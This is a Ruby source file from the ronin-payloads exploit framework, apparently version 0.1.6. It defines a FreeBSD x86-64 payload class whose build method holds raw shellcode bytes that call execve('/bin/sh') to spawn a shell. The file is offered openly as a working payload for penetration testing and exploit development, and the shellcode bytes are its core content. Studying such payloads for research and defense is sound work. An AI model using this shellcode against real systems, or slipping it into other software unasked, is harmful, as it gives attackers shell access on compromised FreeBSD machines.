Contents

# encoding: ASCII-8BIT
# frozen_string_literal: true
#
# ronin-payloads - A Ruby micro-framework for writing and running exploit
# payloads.
#
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
#
# ronin-payloads is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# ronin-payloads is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with ronin-payloads.  If not, see <https://www.gnu.org/licenses/>.
#

require 'ronin/payloads/shellcode/exec_shell_payload'

module Ronin
  module Payloads
    module Shellcode
      module FreeBSD
        module X86_64
          #
          # FreeBSD x86-64 shellcode that calls `execve()` with `/bin/sh`.
          #
          class ExecShell < ExecShellPayload

            register 'shellcode/freebsd/x86_64/exec_shell'

            arch :x86_64
            os :freebsd

            author 'Gitsnik'

            summary 'FreeBSD x86-64 execve() shellcode'
            description <<~DESC
              FreeBSD x86-64 shellcode that calls execve() with "/bin/sh".
            DESC

            references [
              "https://shell-storm.org/shellcode/files/shellcode-866.html"
            ]

            #
            # Builds the shellcode.
            #
            def build
              @payload = "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb" \
                         "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" \
                         "\x54\x5f\x52\x57\x54\x5e\x0f\x05"
            end

          end
        end
      end
    end
  end
end

Version data entries

1 entries across 1 versions & 1 rubygems

Version	Path
ronin-payloads-0.1.6	lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb